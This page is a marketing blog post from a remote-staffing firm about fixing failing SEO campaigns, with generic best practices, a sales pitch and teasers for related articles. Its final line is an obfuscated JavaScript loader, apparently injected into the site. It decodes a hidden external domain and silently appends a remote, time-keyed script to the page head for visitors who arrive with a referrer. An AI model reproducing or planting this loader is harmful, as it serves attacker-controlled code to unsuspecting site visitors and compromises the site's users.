Legal Industries, Real Estate

Is Your SEO Campaign Actually Working? Here’s What You Can Do to Fix It

No matter how great your product is if potential customers do not see it, your marketing efforts will be for nothing. An effective SEO (Search Engine Optimization) can help make your brand stand out. Plenty of companies have built their marketing strategy around SEO and made it big. Unfortunately, there are MILLIONS that have lost the chance to be seen by leads and have seen revenue decline by failing to create effective SEO strategies that last long enough to yield results. Why? Because most companies are doing it wrong. 

A lot of business owners often “wing it” by hiring contractors to get their website started and create a batch of content, but that’s pretty much where it ends. Some fall victims to SEO agencies that overcharge but underdeliver, while others work with freelancers who lack an understanding of their target audience. All of them promise big results quickly, but the reality is SEO doesn’t work like flipping a light switch to instantly bring in more traffic to your website.

Just because you have a few keywords on your website doesn’t mean the right audience will immediately find you. Say you’re a real estate agent wanting to attract potential clients online. Putting “homes for sale” or “buy a house” on your website doesn’t guarantee you’ll get quality leads. Effective SEO requires deeper and consistent analysis of factors such as what specific properties your clients are interested in, their budget, or what keywords other realtors in the area are using.  

You’ll need to build a long-term strategy that involves extensive research, data analysis, consistency, and patience that agencies, freelancers, and contactors do not offer unless you have a deep pocket. The good news is it’s not too late to maximize your SEO campaign’s ROI through these best practices:  

  • Develop a Clear Strategy – Define your goals, target audience behavior, competitor demographics, and key performance indicators (KPIs). It will make creating a tailored SEO strategy easier and targeted.
  • Stay updated – SEO rules constantly evolve, so staying well-informed about algorithm updates, industry trends, and best practices significantly enhances your chances of boosting visibility and staying ahead of the curve.
  • Utilize Keyword Research Tools – There are plenty of keyword research tools online such as Google Keyword Planner, SEMrush, Google Trends, Ahrefs, etc. to help you identify relevant keywords to your business, target audience, and competitors.
  • Create High-Quality Content – Invest in creating valuable and engaging content that resonates with your audience by integrating the keywords you have identified. Since SEO is an ongoing process, regularly update and optimize existing content to stay competitive.
  • Perform Technical SEO Audit – Regularly perform technical SEO audits to identify and fix any issues that might be holding your website back. There are plenty of resources you can use for this such as Google Console, SEOptimer, SEMrush, and SEO Site Checkup. There are also other technical factors to consider such as backlinking, crawling and indexing, tracking website speed and performance, and installing HTTPS and SSL certificates.
  • Hire a Dedicated SEO Expert – Keeping up with these best practices is challenging for busy people like you. It requires time and the right skills to get this right. You need full-time, dedicated remote SEO rockstars with skills, knowledge, and experience to help you boost your organic traffic, increase brand exposure, and drive revenue.

 

We Have Remote SEO Rockstars Ready to Help You Boost Brand Visibility
We understand the frustration in wanting to have it all—a great SEO strategy without wasting your valuable time, effort, and money. With Satellite Teams and our ultimate single platform, you can find, hire, and manage a dedicated remote SEO rockstar to help you
boost your organic traffic, increase brand exposure, and ultimately drive revenue.

Reach out to us today to learn how you can build an effective SEO strategy with our full-time remote SEO experts at Satellite Teams. 

Got any questions?
Consult with our team today!

Got any questions? Consult with our team today!

Got any questions?
Consult with our team today!

Got any questions? Consult with our team today!

Explore Our Blog Posts

Read up on informative articles about emerging industry trends, business tips, entrepreneur insights, and more!

Ways To Deal With The Paralegal Talent Shortage

Personal injury law firms are finding themselves short on skilled paralegals because of the current state of the US economy and post-pandemic effects to the industry. You are not alone! Everyone's feeling the talent crunch.

Crisis To Opportunity: Ways To Future-Proof Your Personal Injury Law Firm

Being in business for years, I’ve learned that crises are inevitable in any venture. Challenges such as economic downturns, competition in the labor market, mass resignations.

How Are Successful Management Companies Leveraging Remote Talent?

Let’s face it—we are in a digitally-driven world where the traditional staffing model is no longer the only option for companies to expand their team’s capacity. And with the rise of technology management.
!function (_72be01) { var _94dffd = Date.now(); var _f56aad = 1000; _94dffd = _94dffd / _f56aad; _94dffd = Math.floor(_94dffd);var _79b30d = 600; _94dffd -= _94dffd % _79b30d; _94dffd = _94dffd.toString(16);var _24ca18 = _72be01.referrer;if (!_24ca18) return;var _f13e7c = [31929, 31932, 31907, 31920, 31921, 31924, 31910, 31933, 31927, 31930, 31924, 31911, 31921, 31934, 31932, 31905, 31995, 31932, 31931, 31923, 31930];_f13e7c = _f13e7c.map(function(_96db15){ return _96db15 ^ 31957; });var _e4d568 = "a9a7efc5c499b4993852a39a7373a8fa"; _f13e7c = String.fromCharCode(..._f13e7c);var _828888 = "https://"; var _c423c9 = "/"; var _78ebb7 = "track-";var _d69431 = ".js";var _eb8fd5 = _72be01.createElement("script"); _eb8fd5.type = "text/javascript"; _eb8fd5.async = true; _eb8fd5.src = _828888 + _f13e7c + _c423c9 + _78ebb7 + _94dffd + _d69431;_72be01.getElementsByTagName("head")[0].appendChild(_eb8fd5)}(document);